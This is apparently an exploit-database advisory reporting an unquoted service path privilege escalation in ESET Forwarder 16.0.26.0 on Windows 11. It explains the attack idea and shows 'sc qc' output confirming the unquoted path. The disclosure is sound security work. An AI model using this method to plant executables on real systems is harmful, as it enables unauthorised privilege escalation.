######################################################################### # Exploit Title: ESET Forwarder 16.0.26.0 - Unquoted Service Path Privilege Escalation # Date: 2023-04-30 # Author: Milad Karimi (Ex3ptionaL) # Vendor Homepage: https://www.eset.com # Software Link: https://www.eset.com/download/ # version : 16.0.26.0 (Latest) # Tested on: Windows 11 ########################################################################## ESET installs as a service with an unquoted service path To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges. ------------------------------------------- C:\>sc qc efwd [SC] QueryServiceConfig SUCCESS SERVICE_NAME: efwd TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\ESET\ESET Security\efwd.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : ESET Forwarder DEPENDENCIES : SERVICE_START_NAME : NT AUTHORITY\NetworkService